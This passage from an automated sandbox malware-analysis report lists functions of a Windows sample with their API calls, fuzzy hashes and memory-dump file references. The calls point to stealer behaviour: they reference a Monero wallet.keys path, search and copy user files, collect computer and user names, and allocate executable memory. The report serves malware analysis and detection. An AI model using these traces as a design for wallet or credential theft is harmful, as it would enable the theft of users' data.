Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 8d15b11a6c3cd87bd69c09a4fe78fcddf58a37381dde71a05de08babe3e9e54c
Instruction ID: 94d1030a3b7b77351398460f7e1df161e839e294344fb59d6d456ee9ed2727a7
Opcode Fuzzy Hash: 8d15b11a6c3cd87bd69c09a4fe78fcddf58a37381dde71a05de08babe3e9e54c
Instruction Fuzzy Hash: D1911172910148EBCF04EBA4DC9AEEE7339BF54300F44452AF50766291EF796E48CB62

Function 007CB0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

lstrlen.KERNEL32(00000000), ref: 007CB2AE
lstrlen.KERNEL32(00000000), ref: 007CB2C2

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 474481adc29156c7df0f1af222f7d0ae961742f7ea410a299f2fad597b3dcd9f
Instruction ID: 18cc7da6bd74d02842897827fa562c751fd70c2b2b908a059a2dc7b26ff133bc
Opcode Fuzzy Hash: 474481adc29156c7df0f1af222f7d0ae961742f7ea410a299f2fad597b3dcd9f
Instruction Fuzzy Hash: C4710072910149EBCF04EBA4DC9ADEE7339BF54300F44452AF507A6291EF796E08DB62

Function 007D4690 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007D8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

lstrcat.KERNEL32(?,00000000), ref: 007D46CA
lstrcat.KERNEL32(?,012DD600), ref: 007D46E8

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D440C
Part of subcall function 007D43F0: FindFirstFileA.KERNEL32(?,?), ref: 007D4423

Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E0FAC), ref: 007D4451
Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E0FB0), ref: 007D4467
Part of subcall function 007D43F0: FindNextFileA.KERNEL32(000000FF,?), ref: 007D465D
Part of subcall function 007D43F0: FindClose.KERNEL32(000000FF), ref: 007D4672

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D4490
Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E08BA), ref: 007D44A5
Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D44C2
Part of subcall function 007D43F0: PathMatchSpecA.SHLWAPI(?,?), ref: 007D44FE
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,012DE928), ref: 007D452A
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,007E0FC8), ref: 007D453C
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,?), ref: 007D4550
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,007E0FCC), ref: 007D4562
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,?), ref: 007D4576
Part of subcall function 007D43F0: CopyFileA.KERNEL32(?,?,00000001), ref: 007D458C
Part of subcall function 007D43F0: DeleteFileA.KERNEL32(?), ref: 007D4611

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D44E7

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: f61576e04c86fbbe12b0cb2ffb03b228faade388930abecd9f8611ca9a69e680
Instruction ID: 6497d4d221c655721a1788099a62d3a87e2fba55842abc9da12d73611d535bc5
Opcode Fuzzy Hash: f61576e04c86fbbe12b0cb2ffb03b228faade388930abecd9f8611ca9a69e680
Instruction Fuzzy Hash: DF41F9F7500104ABCB54FB64FC87EED333CA789300F40855DB5899A281ED795E898BD2

Function 007C66B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 007C6756
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 007C67A3

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d76f5caf1333bf19bf79e4366844ced57faece3f4013038dc1ddec4ce599ba42
Instruction ID: 234968fec00a24dfa41c64a0b11e2646cad3481356436d06b715eaa0e3d404fd
Opcode Fuzzy Hash: d76f5caf1333bf19bf79e4366844ced57faece3f4013038dc1ddec4ce599ba42
Instruction Fuzzy Hash: A441A874A00209EFCB44CF58C4D4BADBBB1FB48314F2486ADE9499B345D735EA81CB84

Function 007D4B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007D8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

lstrcat.KERNEL32(?,00000000), ref: 007D4B6A
lstrcat.KERNEL32(?,012DE140), ref: 007D4B88

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D440C
Part of subcall function 007D43F0: FindFirstFileA.KERNEL32(?,?), ref: 007D4423

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: d8c9b572811a5a2d11588c7e7a974b8b9e7d0058738aa84e33f5909d14e3cb6e
Instruction ID: a48385d656b3c83e48a798fc58cdc513094a81a2776b04ecbb870160c9ebe672
Opcode Fuzzy Hash: d8c9b572811a5a2d11588c7e7a974b8b9e7d0058738aa84e33f5909d14e3cb6e
Instruction Fuzzy Hash: 5D01FEB651420CE7CB54FB70DC8BEDD733C9B54300F404159B64957182EEB8AAC88BE1

Function 007C10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 007C10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 007C10F7

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c07d54bd029975716ec8bfd9eed1bfc1918926f9f1c5a51b9b04a3ad805ce236
Instruction ID: ae724204643feba46ee51e8508426233f917f5de4981c825075f38ea768686b7
Opcode Fuzzy Hash: c07d54bd029975716ec8bfd9eed1bfc1918926f9f1c5a51b9b04a3ad805ce236
Instruction Fuzzy Hash: C0F02E71641214FBE7149BA49C99FAFB7DCD705B45F30045CF500E7281D5719F00DA50

Function 007D8830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,007C1B94,?,?,007E554C,?,?,007E0E07), ref: 007D883F

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b3c5df01372a6a2c0fabe58f2d632a052c5c86fe252ea8256e5516e06729a432
Instruction ID: a642b1901543f65296f097ca427f90f0097e7f0e7701886c5145cb1e2948c8f9
Opcode Fuzzy Hash: b3c5df01372a6a2c0fabe58f2d632a052c5c86fe252ea8256e5516e06729a432
Instruction Fuzzy Hash: F2F03070C0020CEFCB04EF94C54969CBB75FB00314F50869AD82567381DB785B45DF81

Function 007D8880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c9d25d0991e49c0e84d45bbab59a86155df549953315bf2e25f4613414b7d24a
Instruction ID: ab7c643b6e6e51a7071bd6bf12f2a0195a54435af8443ac8c9a0523fcd5d49ea
Opcode Fuzzy Hash: c9d25d0991e49c0e84d45bbab59a86155df549953315bf2e25f4613414b7d24a
Instruction Fuzzy Hash: E6E0ED31A4028CABDB55DB50CC96F9D737C9B44B11F004295BA0C5A1C0DA74AB458B91

Function 007C1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007D7380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D73B0
Part of subcall function 007D7380: RtlAllocateHeap.NTDLL(00000000), ref: 007D73B7
Part of subcall function 007D7380: GetComputerNameA.KERNEL32(?,00000104), ref: 007D73CF

Part of subcall function 007D72F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007C11B7), ref: 007D7320
Part of subcall function 007D72F0: RtlAllocateHeap.NTDLL(00000000), ref: 007D7327
Part of subcall function 007D72F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 007D733F

ExitProcess.KERNEL32 ref: 007C11C6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
